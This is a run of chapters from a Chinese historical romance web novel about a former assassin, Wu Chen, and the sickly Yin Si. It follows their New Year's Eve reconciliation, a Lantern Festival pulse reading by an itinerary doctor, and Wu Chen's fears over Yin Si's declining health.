殷思道:“嗯,八年前我因旁的事,未及时在队,匆忙赶至展家时,两司同时出现。九月初三时,只需故技重施,提前将云迁程引开,他再回御前时,殿前司的人早已换作‘夜司’,他自然发蒙,也愿为我作证。”
巫辰才知,殷思并不是从未做过正事,若以少有人知的殿前司秘事作为借口,私用兵符便是有了正当的理由。
且颖王寿宴御前处,以殿前司出勤名录作为证据,更像是一种威胁。表明‘夜司’并不是无人知晓的绝密,也佐证当年展家遭抄被屠,确是存在疑点。
展家大难那日,巫辰不知于混乱中杀了多少人,对于刀下之人,她向来是没什么印象的。既知殷思也一同出现于当天,只细细回想着是否与他见过。
而后侧身回头,捏住殷思的下巴,似是端详。
因巫辰突如其来的动作,殷思面上绯云骤起,垂首间,竟不敢直视她。
无果后,巫辰低头,百无聊赖得盯着缠满纱布的右手腕。自己从前的用刀手法,极狠,只攻击最易生痛或是要害位置,若是要挣脱对方手臂上的控制,首要选择便是去割断其手臂背侧的筋脉。
其实早早发现殷思右手有问题,单手举刀时都会止不住得颤抖。
反应半晌过后,直接抓过殷思的右手臂,去探他右手筋脉的位置,果然有道极深的疤痕。
缓缓摩挲过刀疤的位置,巫辰竟有些失神,“是我做的吗?”
殷思将下巴靠在巫辰肩头,语气平静淡然,“不重要。”
酸涩之感涌上心头,化作丛生荆棘,深深刺入巫辰心头。
“若因断了右手筋脉,再也无法执弓用箭,你会怨恨我吗?”
“不会。”
“绝对不会。”
......
*
一经整夜,“抱歉”二字,也从未说出口。
两人虽是未加讨论得认了和,但相处仍是回到了各过各的状态。
巫辰搬出主屋后,并未离府,只是时常未告知殷思就独自跑出府。
而后于继华堂,竟见到东方羽灵和齐徽姩一同出现。
印象中的齐徽姩,明明是在冷府便着了疯,反复自残。再见她时,齐徽姩只频频解释着,冷时俊死前忙着收拾倒卖祭品的事,根本没空搭理她,那日突然发疯吓唬巫辰,不过是为了离开冷府。
巫辰无奈于这群人总是演什么像什么,更甚从未以真面目示人。
东方羽灵也常撺掇着巫辰,尽快搬去继华堂,还添油加醋得描述殷思往日行径与情爱,皆为矫作!且男人,永远不可信。
巫辰听了却更加心烦,她也不懂殷思整日在想着些什么,一会儿靠她极近,一会儿又将她推至最远。
在翻阅过几十册话本子后,巫辰猜测,殷思应是在‘欲擒故纵’。
终于参透过,巫辰也不再理会殷思的多次求和。
“巫大人,公子问您什么时候回屋睡。”
“巫大人,公子说他头痛……请您回屋。”
“巫大人,公子说……他说想您了,求您回屋看看他……”
.......
初鸣过来传话,巫辰只是置之不理、不闻不问。
......
*
除夕当日,巫辰未踏出房门半步,只摆弄着一桌案的药材,果断回绝了殷思“请”她出门的邀约。
直至夜间子时前,巫辰将主屋的门撞开后,见殷思褪去上衣,露出白皙却布满乱伤的脊背,正将药涂在肩头仍未愈合的鞭伤处。
巫辰进屋后,二话不说,神色决然,毅然上前夺过殷思手中药瓶。
瞬间欺身而上,揽住殷思脖颈,微微侧头,狠狠吻在他唇上。
且带着不容抗拒的强势,两人周身气息瞬间凝滞,任凭殷思被亲得发懵也无法挣脱。
49.新岁一吻
巫辰进屋后,二话不说,神色决然,毅然上前夺过殷思手中药瓶。
瞬间欺身而上,揽住殷思脖颈,微微侧头,狠狠吻在他唇上。
且带着不容抗拒的强势,两人周身气息瞬间凝滞,任凭殷思被亲得发懵,也未打算轻易将他放过。
温热气息近在咫尺,却未顾及唇上蓦然传来的触感。巫辰只紧盯着他的反应,见他由神情失措转至双眸轻阖,而后将微向前迎的身体果决推开。
二人唇分的时机,经由巫辰的测算,准确无误。
相吻既止时,眼前的人神色赧然,稍借月光,便可清晰察觉他面上的一层薄红。
刻意闪躲,仍不敢对视的慌乱,有趣得很。
除夕之夜,本应是爆竹声震九霄,笑语欢声盈耳。然屋内,唯有烛影摇红,思绪悠悠,再次相视凝望,已将一切尘世烦扰,置身于外。
“好玩。”
“......”,惊喜消退后,又是一阵委屈涌上。殷思忙不迭侧过身,头也低了下去,“你走开,别玩我......”
巫辰总算察觉出他情绪的不对劲,将头一偏,悄悄凑近到殷思眼前,“我想哄你来着,怎么又生气了。”
见殷思赌着气不理人,反而去摆弄桌上的药瓶,巫辰将才从他手里抢过的那瓶,重重往桌上一扣。启了瓶盖后,指尖拈起药膏,探向他肩头伤口处,动作反常得极轻柔。
因膏体碰得未愈伤处,殷思本能得朝旁边一躲。
巫辰将他的抗拒尽收眼底,竟又被自己搞砸了,手上动作也同时停下,“躲什么,还在怕我吗?”
“我也不想你痛的......”
“殷思,我是不是.......一个很坏的人。你也不喜欢我了,是吗?”,犹豫片刻后,双手轻轻探出,自后环住他的腰身,将脸颊尽可能得贴近他。
时间似乎被扯得极慢、极长。
环抱上殷思的手,迟迟未被温热的掌心牵住,只是偶有听得他微弱的抽吸声,未得回应,顿感失落。
“从前,我仅有浑身的尖刺,见了谁便刺向谁,是你告诉我,被那样一扎,很痛,伤了旁人也会痛了自己。于是,我试着将刀,收回刀鞘,竟也有人会将我唤作朋友了......”
“我开始害怕,害怕失去仅有的一切,不敢再亮出锋刃,也能勉强装成讲理的样子。可将刀尖对准你时,我却又不迟疑了。我好像知道,不管我做什么......你绝不会离开我。”
“直到看出你眼里的......抗拒、害怕、嫌恶,我又会想起来,我仍是见血封喉的‘坏’刀,就应是这样被人畏惧......遭人讨厌......”,巫辰正失神得说着,忽觉手上凉意沁入,清泪落于掌心时,心也被一同刺痛。
“又把你弄哭了......”,巫辰抬手间试着摸向他的面颊,“对不起哦。”
却摸到殷思紧绷的唇角,好像正不自觉上扬,明明还是泪意未干,全然不知他在笑什么。
“这么快就将你哄好了吗?”
殷思喉间稍动,终是忍不住回应她,“没有,谁说我好哄了......接着哄。”
“你耍我......”,许是药力发作,肌肤透着的灼灼热气逐渐显露,巫辰说着将紧抱他的手,缠得更紧了些。
“阿颜,我不怕你,我只怕......你不爱我。”,殷思眸中爱意与泪光交织,紧咬下唇,不让呜咽溢出,“你如何打我,如何杀我,都好,都随你。只是......只是还未被你好好爱过,我......”
巫辰反手将他的嘴捂住,“没有。”
“我爱......”
“殷思......我爱......”
殷思:?!
发热的头脑再次清醒时,他的轻吻已落在唇角,无尽温柔中,却是正掠夺着她的气息。
经过反复调整,巫辰才将呼吸理顺,正逢以极近的距离,携着滚烫温度,好好看看他。半干的泪滴贴上面颊,却未觉黏腻不适,紧盯他簌簌颤抖的睫毛,再次出了神。
为什么总闭眼呢?
未能于此刻看清他眸中神色,好遗憾。
侧头稍移位置时,也不知是谁的青丝掺了泪水,险些被巫辰吃进嘴里。唇角实在痒得不行,只好忍痛割爱,将面前同样留有不舍的人推开,垂首便是止不住得笑。
“你笑什么......”,殷思也被她莫名逗笑,又想吻上时却闻出她唇间淡淡沉檀香,“你吃了什么......?”
“雪中春......”
心若乱麻时,难自解,殷思只无奈总被她惹得心思来回跌宕,“那药并非使人动情,而是生欲。你次次都是沾了药才亲我......只能用药才能喜欢我是吗?”
“我想亲你很多次了,明明是你不许......还抛下我,推开我。”,尽管眼神空茫,飘忽不定,还是于昏夜中将他抱上了,“让我抱抱。”
“......我怎么敢的,你若一刻不明白‘爱我’是何意,我冒然这样对你......和诓骗强迫有什么分别?”
此时不管殷思说什么,于巫辰而言都是无趣且枯燥的说教,只会扰了兴致,令人烦闷不已。
“烦死了......”
“我可太明白了......”
“妄图追根溯源得去理解因何生情,好蠢......”,说着托起他的脸,极其认真道,“我就是毫无逻辑得想亲你,不可以吗?”
“可以......吧......”
一瞬无声,巫辰沉默得,看着殷思慌乱得伸手去抓衣袍,却错拿了束带,又看着他越忙越乱,手指好似也不听使唤,直晃得人眼晕。
“你乱动什么!”
“我穿衣服......”,殷思急切中又将领口纽袢系错。
巫辰平静道:“你以为,你病着的日子里,有好好穿过衣服吗。”
“那都这样了......你还不给我个名分吗?”
‘名分’一词,倒也不生疏,算是巫辰在话本子里才见过的,“怎么,你也想哭出个名分吗。”
“不应是夜度春宵过后,才来求名分吗。”
殷思再也无法气定神闲得与她对话,“你别乱看那些话本子了。这样的神情,说着这种话......你想逼疯我吗?”
巫辰不以为然,“总说着要发疯,你哪次真的疯过了?”,话未说完,眼前人却已贴了上来,猛地被按倒后,困于他的怀中。
拥吻时,唇热辗转落至她耳后,巫辰全身的感官乃至触感向来不灵敏。此番突如其来的攻势,心口猛得一颤,才感慌乱无措,引得她不自觉地微微仰头,呼吸急促。
原本还是夜阑风静,忽闻天际烟花乍响时,深扰心梦。殷思清醒后果断克制住动作,“怎么了......吓着了?”
离远后才又看清他的脸,巫辰心热散去,抬手碰上殷思唇角,“好软,喜欢......”
又是一声爆鸣,两人皆被吓得不住眨眼,巫辰反应过来眼前的人最是体弱多病,完全禁不得吓,“溯理被吓到了吗?疼不疼?”
殷思趁势抚上胸口,眉头紧皱,脸上浮现出虚弱之态,似是强撑着坐起身,“嗯,可疼了……”,随着烟花倒数再响,殷思迅速
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回身开始胡乱收起桌上的瓶瓶罐罐。
巫辰问道:“你收药做什么。”
“皆说新年伊始那一刻,正做着什么,来年将会全年不断。将药藏起来,说不定还能好得快些……”
“殷思。”,巫辰扯住他的衣角,落下此年最后一吻。
良辰于此新旧交替,岁末钟鸣,盛放烟火里,心光融融,情意绵长。
伴着绽彩声声,巫辰不禁由心而发:“想亲你,新年也想亲,明年也想亲……”
“别说了……我知道了。愿得常如此,年年物候新,阿颜……笑展颜。”,灯火映出紧靠相拥的身影,殷思热烫着脸,郑重道,“阿颜,新年快乐,你多笑笑嘛。”
“嗯,那你多哭一哭。”
“不要......”
......
*
新年一过,新府上的全数侍从,这才将高悬的心松下来。
原本听闻少夫人不日又将逃离出府,且公子早早下了最后通牒————少夫人若再一声不吭得出府一次,必得全员出动,绑也要将她绑回家来。
巫辰心情莫名大好,就连见了平日最烦的韩茂,也生不出邪火来。
竟在知晓韩茂是殷思带来府上,特意给自己添堵后,并未露出一丝不快,反倒选了些剧情最离奇波折的话本子交于韩茂,嘱咐他定要无事就去念给殷思听。
巫辰原先只是拿头脑简单的蠢人没办法,如今更是拿时常捂紧胸口,喊着心痛的殷思没办法。
情绪崩溃激动时,心疾会发作。
受外力重创时,心疾会发作。
骂两句重话,他又喊着不舒服。
唯独面红心跳得吻上巫辰时,他绝不会犯了心疾。
巫辰守着他的脉象,用尽毕生所学,如何也看不出他到底重病在哪儿。
......
*
恰逢元宵佳节,庙会熙攘,比肩接踵。
巫辰少有得依了殷思,换上他选了多日的红装,绯红锦缎大氅,领口以洁白狐毛镶边,身边灯火晃漾,眼中满是新奇欢喜。
殷思握紧她的手,笑意藏于眉梢,二人携手缓行于闹街中,像极了新婚夫妇。
行至一处稍显清幽之地,一素衣老者坐于案后,面前摆着古朴脉枕,身旁药香淡淡,与周遭繁华热烈互不相容,不禁引人侧目。
再仔细看去,那老者身后竖着一张宽旗,赫然写着“神医”。
巫辰拉着殷思便往老者摊位那儿走,“殷思,去叫那个神医帮你看看,把个脉。”
“不要,有你帮我看诊就够了,我只相信你看的。”,殷思强站于原地,任巫辰如何拉他、拽他,也不愿意过去。
巫辰笑道:“正在大街上呢,别叫我当场打你。”
“......”
还未拉扯至摊位边上,忽闻一阵沉稳有力的声音传来:“这位夫人,容老朽为您把个脉如何?”,那老者面带微笑,眼神中透着和善关切。
“夫人先坐。”,殷思总算得了机会,抢先想巫辰按到案前座椅上。
老者将三指搭于巫辰腕间,神情专注,须臾眉头微微皱起,面上讶色一闪,轻声道:“嘶......夫人这脉象,怪得很。雄浑有力,似是有两股力量,困于体内。夫人这是......有身孕了?喜脉?”
明明是请他诊脉,不知这老头为何一开口,竟问起自己来了,话本子中相关‘有孕’一事,描写得并不细致,常是同寝共眠后出现的情节。
巫辰只将殷思脸上的诧异全部忽略,认真道:“殷思,除夕过后,最远才不过十几日,有这么快吗。”
50.别哭
老者将三指搭于巫辰腕间,神情专注,须臾眉头微微皱起,面上讶色一闪,轻声道:“嘶......夫人这脉象,怪得很。雄浑有力,似是有两股力量,困于体内。夫人这是......有身孕了?喜脉?”
明明是请他诊脉,不知这老头为何一开口,竟问起自己来了,话本子中相关‘有孕’一事,描写得并不细致,常是同寝共眠后出现的情节。
巫辰只将殷思脸上的诧异全部忽略,认真道:“殷思,除夕过后,最远才不过十几日,有这么快吗。”
那‘神医’将满脸神秘,换作饶有趣味的神情,殷思也不知该如何回应解释,只好胡乱抓住巫辰的手轻捏一下。
“老先生,她未有身孕,不如......你再看看?”,殷思本想拉着巫辰就走,躲开这庸医,但老者所言的‘两股力量,困于体内’,过于奇怪,似是话里有话。
巫辰抬首看向一旁的殷思,似欲问却又止,话本中的主角公子,往往在听闻夫人有孕后显出喜色。见殷思这般不解与忧心,猜出他应是不喜这事,巫辰其实更加不喜聒噪的孩童。
可既来之则安之,巫辰竟直接开始思索,日后应如何拖着无用幼子做事。
思绪飘远时,旁人所言难以入耳。
“哦?公子怎知夫人未有......”,老者目光中本是透着疑惑与沉思,却因见了殷思正不止得使着眼色,恍然大悟,“哦......哦哦,抱歉二位......”
老者双目微阖,稍过片刻后道,“依老朽拙见,夫人应是擅武的。脉象有力,节奏却不齐整,亦不柔和。倒不如说是......脉象与内力,极为有神,强且混乱。”
“似是有两股毫不相干的内力,正争夺主控权。因此,夫人的脉象———”,老者说着便故作深沉得稍加停顿,后于正走神的巫辰面前,比出两指的手势,“.......极像是,两个人。”
“......”
“这位夫人?您在听吗......”
殷思问道,“脉象似两人同时存在,如何佐证?”
老者面上似笑非笑,浮上一抹自豪,“看来公子与夫人皆是——当局者迷。适才隔着老远便听得您二位说,夫人也时常为公子看诊,可医者向来,难自医。”
“夫人平日可是几乎从不染病,若有伤,不论是内伤或是外伤重创,病愈极快?”
殷思闻言,也不禁去认真思索这老神医的话,索性与巫辰同坐至案台前的长椅,“确有此事。”
“那便对了......从夫人手腕处新旧堆叠的疤痕便可看出,这自愈能力,绝非常人可有。”,老者说着按下殷思手腕,而后频频摇头叹气,“往后,还是莫要劳烦夫人为公子看诊调理,若将夫人说成是强如两人的脉象,那公子便是只剩下半个人的气......”
巫辰才抓住老者所言的重点,瞬间回神,目含凌厉,“你什么意思?”
“巫辰......”
老者道:“老朽看诊向来是直来直去,有什么便说什么,夫人莫怪。医者若要医治旁人,常需以己为样本实例,夫人的用药与医法,或许是过险、过猛。常人,自是难以承受。”
这老头虽是自称直言不讳,巫辰却可分辨出他的表达,仍是加以美化过。说白了只是,自诩擅毒且更擅医人的巫辰,几乎要将他医得,只剩半条命。
......
*
花灯如昼,熙攘长街间,他执她手,缓步而行。
“阿颜,在想什么呢?”,见巫辰垂眼失神,殷思停了脚步,抬手轻碰她的面颊,“莫要将那庸医所言放在心上,江湖游医的话,听听便罢了。”
“哦。”
“我没想这个。”
殷思虽不想巫辰生出自责的心来,却更不愿她察觉出自己的刻意宽慰,只笑道,“那阿颜是在想什么?是在想明日吃些什么吗?”
巫辰仍是心不在焉,“孩子。”
殷思脑中正闪过无数她稍有不耐烦的回答,或是其他质问反问的话。闻言只怔于原地,“啊......谁的孩子......”
巫辰道:“我们的。”
殷思:......
时间一久,巫辰竟也学会掩盖真实想法,抢先预判出殷思的顾虑,干脆换成看似毫无相关的话题,“溯理,你怎知我未有身孕。”
“我猜的。”,见巫辰眼中唯有认真,殷思试探道,“阿颜会......想与我有孩子吗?”
巫辰轻挽过他的手,眼中扫过浮生喧嚣,烟火升腾。活了二十几年,才对眼前真实的‘生活’产生实感,竟认真考量起来,“只是有些麻烦,入春时要到燕庭再查东宫案,此事进展顺利还好。可说到底,日后极可能仍是漂泊不定,险阻不断涌至眼前,能保命都困难。有孩子......自然是诸多不便。”
“不如等至一切得胜,归于平静,再无分离时......”,巫辰仍在细细想着,却见低首时,稍侧过身去,面上红晕微现,嘴角不自觉地勾起一抹浅弧,窃喜更在眼底闪烁。
巫辰拉住殷思手臂,将眉头皱起,“你又在笑什么。”
殷思却道:“阿颜往后愿景,字字有我,当然高兴。”
抬眼望去,恰见他一笑,那笑容如破冰春水,淌入心间,更扰乱了心湖。
不自主得沉沦于含笑眉目,亦或是久久沉沦于,难得等来的一切美好。
......
*
岁末残冬,风自藏春。
天稍转暖,爱意疯涨。
巫辰常有明显感觉,不知殷思是否猛然间开了窍,于府上与世隔绝的日子里,几乎时时刻刻可见他在身边。
经过多次的辩论与约法三章,殷思才同意每夜不坐于门外,或是等在塌前。
而是老老实实得一起睡在塌上,只是要求巫辰——一同在榻时,不准亲他。
莫名其妙的要求。
后经巫辰的据理力争,只好改为——一同在榻时,不准一声不吭得,突然亲他。
巫辰不得不承认,有殷思在的夜晚,从未再入混沌梦羁。
或是梦中有他在,就绝不会是噩梦。
一早朦胧转醒,轩室内,檀香袅袅。殷思静坐于桌前,正将一根红丝缠绕在木质钗杆上,手法娴熟。
巫辰轻步行至他身边,桌上的手记册子,正停于母亲曾留下的红枫步摇图样那页,不解道:“你做这个干什么。”
“阿颜醒了。”,殷思见巫辰过来,稍侧身留出可容她同坐的位置,“从前见过你的步摇,但纹样未能记清,你兄长的手记中,尚存步摇的图样,画得很清晰。”
巫辰道:“哦,原来我的步摇,是被你的箭射中打坏的。”
阳光透过窗棂洒下斑驳光影,晨光也映得忽明忽暗,殷思俯下身,额前几缕碎发随风飘动,凑近一盏琉璃灯,眼神中满是专注,“嗯,我赔你一个。”
“你的箭法,还算不错。”
素钗上的墨色晕染开来,执笔的左手稍稍停顿,“多年再未用过箭,许是早已生疏......”
“我娘留下的医书中,多有外伤医法,筋脉断裂,并非全然无救。如若,我能将你的右手医好。”,巫辰坐到他的身边,轻声道,“殷思,你还愿再用箭吗。”
“做
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好了。”
修长指尖轻轻捻起那支枫红步摇,步摇垂下的珠串,不住晃动,换手将其扶稳后,插于巫辰发间。
殷思只无奈一笑,“你看,我连步摇都拿不稳,如何拿得起重弓?”
巫辰先是摸向头上的步摇,而后将手稳稳递到殷思右手掌心,“殷思,若是只握稳我的手,可以吗?”
殷思牵住她的指尖,掌心温热传来,刹那间,春风绕腕,情丝缠结。
而后反复紧握,虽是不时颤抖,却仍然有力。
殷思微微侧首,忍住没哭,只是小声问她,“捏疼了吗?”
巫辰仔细感受手上传来的力度,“嗯,还挺疼的。”
启初,殷思眼中的她,恰似红枫初绽,逸态横生,热烈万千。
尝试靠近时,却又见她眸中寒星,尚可敛冰光,霜刀裁去炽热心扉。
忍痛相拥后,温情悄送春意,缱绻融融,直至余下滚烫温度,扰得人不愿清醒。
并非是她似万物容情,而是万物因她藏色。
久而久之,殷思也不再违背意愿去克制远离,只想着每日如何引她,多爱自己一分。
*
新芽深种时,巫辰只会多恨她自己一分。
若是自己早早死与无人知晓的某处,他定然可多活个数十年。
见他搪塞着心疾早已痊愈,却好似一字一句得说着,他的身体正每况愈下。
巫辰向来无所谓自己的生死,更不在意旁人的死活。
如今却将往日所感,推翻重演。
昏昏沉夜中,每醒来一次,便要去探殷思的心脉气息,生怕他因自己的反复折腾,突然死了。
暖阳倾洒,庭院幽谧处,朱漆长椅横陈。
他又是身着红衣,正随意躺卧,双目微闭,墨发散于枕间。
巫辰又是轻轻靠近,探出手去。
察觉他未有鼻吸,忙收回指尖,摸向心口处。
“别摸了,你夫君我活着呢。”
“......”
巫辰只想狠狠掐他一把,却不知掐哪儿不会将人伤了。
殷思将眼半睁开,手肘撑向席枕,拉住巫辰笑道:“阿颜......让我抱抱。”
依偎身侧,青丝与他几缕相缠,时光也就此停驻。
艳阳遮目,有些刺眼,殷思说着要替她掩去阳光,却半遮不遮得晃巫辰眼睛玩儿。
巫辰本想干脆将他踢下长椅,思来想后,仍是作罢。
从未如此憋屈。
换作轻柔日光蒙在眼上,空气湿热,几乎睡去。
侧头时,却见他轻搭于自己肩上的手,有些无力得垂着。
只好探出食指,碰向他的指尖,两下、三下,都无回应。
正要慌乱回身,忽有温软触于耳后,竟是一吻,心乱如麻间,赶不及去躲。
“殷思,你闹够了没有。”
“没有。”,靠近耳后的吐信愈渐沉重,“阿颜天不怕,地不怕。原是只怕耳垂被碰......”
巫辰斩钉截铁道,“......我不怕。”
殷思笑道,“哦,那你在抖什么呢?”
一来一回闹了半天,巫辰颈间添了几滴湿热,习惯性得以为殷思又在乱哭,“你怎么又哭......”
巫辰回头时,却见殷思鼻下一抹殷红缓缓而下,因这鼻血来得突然,他慌乱去擦时,添了几分狼狈。
可巫辰完全未觉好笑。
“......”
“啊......?”
“怎么哭了?”
“阿颜......你别哭啊......”
51.刀鞘
一来一回闹了半天,巫辰颈间添了几滴湿热,习惯性得以为殷思又在乱哭,“你怎么又哭......”
巫辰回头时,却见殷思鼻下一抹殷红缓缓而下,因这鼻血来得突然,他慌乱去擦时,添了几分狼狈。
可巫辰完全未觉好笑。
“......”
“啊......?”
“怎么哭了?”
“阿颜......你别哭啊......”
冬末残寒时,细风中仍带着些凉意,吹过脸颊,只余些许怔忪。轻抬手,指尖似触未触得划过一缕滚烫。
竟烫得像血。
泪,未有黏稠之感,也无腥甜气息绕于鼻端。
“我的,眼泪。”,巫辰稍有不敢置信,才发现泪水正在模糊视线,难以将眼前的人看得真切,反应过后狠命地将那满面泪痕一把抹尽。
他却如未闻未见,静静看着,直将目光胶着于巫辰。
“嗯,是你的眼泪。”
殷思一时凝噎着,未打算帮她拭去滴泪。
只想着——想哭,便哭罢,他毫无劝人将情绪硬生生憋回心的道理,“诶......怎么往嘴里塞?”,直到亲眼目睹,巫辰将才摸过泪的食指送进口中。
青丝乱于微风,也未曾有半分知觉,巫辰只是稍有失神道,“殷思,我的眼泪,怎么没有味道。”
他稍稍欠身后,小心翼翼握住她滞于眼前的手,唇落于此,淡淡红晕悄然弥漫开来 。
巫辰不解,“泪沾在手上,你亲我嘴做什么。”
殷思:......
殷思面上忽现窘色,手足无措间摸将鼻下已干的血痕,试图掩盖些什么。
“你不会要死了吧。”,巫辰说话时语气淡然平静,可簌簌而落的泪珠未曾断过。
殷思已是后悔不及,刚才竟那样逗她,吓她。从前最盼巫辰能心疼他,屡次遇险时,若能从她眼中察觉不忍,更加求之不得。
殷思也巴不得自己病得再重些,再顺着蛛丝马迹寻出她的在意,才好确认巫辰爱他的事实。
巫辰将殷思拽回眼前,风一动,他也在动,相比于半年前又单薄了许多。
“对不起......”
“错本就在我,是我没有能力以不自损的方式保下你,也是我不愿提及或是隐瞒过往。我该打,也该死......”,说到此时,殷思才觉出自己又将气氛带得很是沉重,侧过头去,不再看她,转言道,“偶尔......哄我可以,道歉不可以。”
“殷思。”
殷思尽可能得靠近巫辰,轻撩起她鬓边碎发,于耳畔低声——
“嗯,殷思在。”
巫辰却道:“你不想骂醒我吗。”
“这个时候,你不应提醒我,我的刀鞘,不应是这样用的。本应是旁人畏惧刀刃失了刀鞘,这刀,会发疯。”
“如今却是我,不愿失了刀鞘。”
此言入耳,眼中又是不争气得蒙上轻雾,直接了当的表白,亦或是稍有隐晦的陈情,殷思都爱听。
特别爱听,只是爱到,唯愿向生,舍不得死得太快。
“你还应告诉我......我是巫辰,我不可以哭。”,巫辰虽是这样说着,却已自己将泪擦了个干净,轻轻一吸鼻子道,“只有殷思才能哭......”
“......”
眼中泪还未能决堤,殷思已被巫辰逗笑,“从何时起,‘哭’竟成了我的特权......”
巫辰道:“敬过司,狱中,‘巫辰’第一次见你时。”
不知怎的她竟特意强调成是‘巫辰’,只因她不知,殷思初见‘展颜辰’时,也落了泪。
“我那日哭过吗,没有吧......”
“哭了,你是被咬哭的。”
殷思难以确定此事,但不愿回想。
“诒纱毒,是我最喜欢的毒。那日我只想着,定要将殷公子万无一失得控制住,若失手,横竖皆为一死,还可拉殷公子做垫背,好在你极易被控制。”
殷思主观忽略她后面的几句,问道,“为何喜欢?”,眼神与巫辰相对时,决然的神色迅速凑近,亲上后却又立即逃开,惹人发懵,“干什么......你又在唇上下毒了?”
殷思道:“那毒的剂量根本不够,你自己勿吞下了大多数,是馋了吗?”
巫辰冷地瞥出白眼来,但还侧头是轻靠到殷思肩上,“我只是,突然不想杀你了。”
“我早在梦中,见过你。梦里,你教我......用箭,用刀。”
“还唤我,‘阿颜’。”
巫辰本以为,梦魇所见皆是预知梦,才更对将受的痛苦,畏惧得很。但也因梦中的殷思,可教她用箭,才确认他定能重新执弓。
殷思初次发疯抱上巫辰时,也曾唤她道“阿颜”,巫辰才更加确认,梦中仅可窥探往后之事。
“你这梦......不对。”
巫辰正感疑惑。
殷思追问:“你知我心口向上半寸的刀伤,也是梦中所见?”,殷思忆起巫辰曾提到,梦中有过像是东宫谋乱时皇宫内的情形。
他也极为清楚,心口那处刀伤是在八年前的展家留下的,昏迷之际那一刀出自谁手,却是全然不知。
巫辰尽力去想着梦魇深处的所见所闻,可幻梦极易轻散消逝,初醒时尚可勉强回忆,如今脑中所剩无几的残片,已是难将梦中场景再次拼凑成形。
殷思语气深沉,似是有九分确认:“并非预知梦,而是过去。”
“阿颜......阿颜......阿颜......”
巫辰盯着殷思反复呢喃,也不知他是何意。
“过去的......阿延?”,殷思面上讶色渐消,疑窦顿解。
“承晚延。”
“皇帝的独子?不是三年前已然过世了。”,巫辰这才意识到,梦中之景很可能并非是自己的经历,脑筋一转便是稍有离奇的猜测,“他盯上我了吗,他死因有疑或冤,托我助他往生?”
殷思根本不想提及这人,只因承晚延与巫辰从前的身份有过婚约,说起来还是展家首次与皇室结姻亲,“......从哪儿听得的,世间哪有这鬼神之说。”
“仙宁常说的。”,巫辰说着将头一偏,垂下眼去,似是忧心,而后问道,“承晚延,是个怎样的人?”
殷思道:“......难懂的人。”
殷思本想说——他是杀人不眨眼的人。可无意将任何负面评价,去安在已死之人的身上。
......
*
献都城郊,缙华堂新址,重开在与“暗卫”丝毫不沾边的废弃花楼,庭院内的细石青砖被撤去,改用粗糙砂土。
各季的花卉枝叶本应一同砍尽除去,却因巫辰不经意时露出满脸可惜得说着——“这花,不难看。”
殷思便请了宫内最出名的花户,仔细重植到才翻修好的武场边。因空间有限,这万花也只好密密麻麻得排着,虽是常挨刀剑武器,又受风染尘,开得却不算差。
花楼建筑内简单换置过陈设,原先楼内的姑娘与缙华堂弟子同住,混乱难管。
景婵脚步急切,胡乱推开珠帘,径直冲进楼内主厅,“唉......快将这些吃的、玩儿的都收起来!巫大人今日过来了,人现已到前院了.....”,说着着手将散落在地的各种猜枚物件、双陆棋子、骰子往案桌下去藏。
其余闲着的姑娘或是缙华堂弟子一听巫辰要来,神色惶然,怕得不行。或穿梭于厅内将全数无关武籍的书册往房
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里收,或是一把将案上瓜果皮壳扫落,更不时抬眼环顾,应有十万火急。
“融语,你愣着做什么?快些过来帮忙啊。”,景婵忙中抬眼,着急去喊才慢悠悠从前院回来的刘融语。
“好可怕......”
景婵停了手里动作,“什么好可怕......怎么了?”
“好可怕......刚才院里......”,刘融语已是神情空洞茫然,“院里......巫大人被殷公子抱下马时,她笑得......好可怕......”
刘融语声音带着些许颤抖,“他们两个待会儿过来,不会对我们用刑吧......再或是,直接杀了?”
厅里其余人听了,也不住手抖,场面更加混乱。
景婵又气又无奈,老远去喊别的姑娘:“......谁又在这儿乱传歪话了,珞绵?是不是你?少听那些绯闻闲话,更不要讲给缙华堂的人听,净吓她们......”
“你这人怎么这样?你怎知是我说的了?”,珞绵被冤也不甘示弱,将腰一叉推开挡在眼前的人便朝景婵这儿走,似是非要辩出个结果,“这凡是长了耳朵,长了眼睛,还有腿能出门的,怎会不知那些风闻?你又不是没亲眼见过她......”
“......”
“看我做什么......”,顿时安静,珞绵心里也开始发虚,不妙。
巫辰进门时,面上毫无表情,眉梢眼角未见情绪,只于长阶前环顾扫视厅里乱景与正担惊受怕着的众人,不怒自威。
“见过......见过巫大人。巫大人好,殷公子好......”,胡乱行过礼后,皆是大气不敢出。
静声片刻,巫辰发觉原本朝自己而来的诸多目光,似乎换成向她身后看去,回身时只见殷思正捏着她的几缕发丝。
“头发......缠住了......”,殷思见她回头时,稍带愠色,连忙去解释看似鬼鬼祟祟的动作,将最后几根卡在巫辰头冠上的发丝取下后,才有空去看那些诧异的神色。
他倒也不慌,抢先问道,“你们平日里也是如此散漫的?”
“说话。”
“回公子......”,景婵只好接下话来,还未说完便被快步而至的巫辰拉开,见巫辰要坐到藏了不少玩意儿的那张桌前,忙去阻止,“主子,厅里有些乱,您到楼上坐吧......”
巫辰抬眼冷言,“你也知道乱。”
随后顺着长绸将桌下的东西全数拽出,再是一言不发,与殷思一同落座于此。
“大人......公子......”,也只有景婵仍敢在此时开口。
巫辰随意将一本摊开的书册抽出,“谁的书?”
珞绵惴惴不安得上前,“巫大人,这......这书是献都有名的话本家,王夫人写的书......”
巫辰盯向珞绵时,竟是带了笑意的,“我问的,是谁写的吗?”
珞绵见巫辰这样一笑,也不敢再耍些小聪明,“......大人,这书是我放在这儿的。”
“念。”,巫辰甩手将那话本扔至珞绵眼前。
“巫大人,我知错了,您罚我吧......这书就别念了吧。”
“念。”
“真的要念吗......?”
“念。”
珞绵一扫停留于此页的字,匆忙间想着去选些能勉强读出来的。
“恍若巫山云雨,神女入梦,朝朝暮暮,不知今夕......”
“咳......”,殷思本闲在桌对面安然饮茶,匆忙间咽下的茶水,呛入喉间,清咳不止。
“巫辰,叫她别念了吧......”
“为何不念?我想听。”
殷思:......
52.情知所起
珞绵一扫停留于此页的字,匆忙间想着去选些能勉强读出来的。
“恍若巫山云雨,神女入梦,朝朝暮暮,不知今夕......”
“咳......”,殷思本闲在桌对面安然饮茶,匆忙间咽下的茶水,呛入喉间,清咳不止。
“巫辰,叫她别念了吧......”
“为何不念?我想听。”
殷思将手中茶杯放下,因怕后续再念出其他更加露骨的词句,试着去劝,“巫辰,这话本著者是刑部王斓的夫人,回去我找他要些绝迹不再贩的给你看......”
巫辰稍有动摇:“哦,我要看这本未刊的结局。”
“......好。”
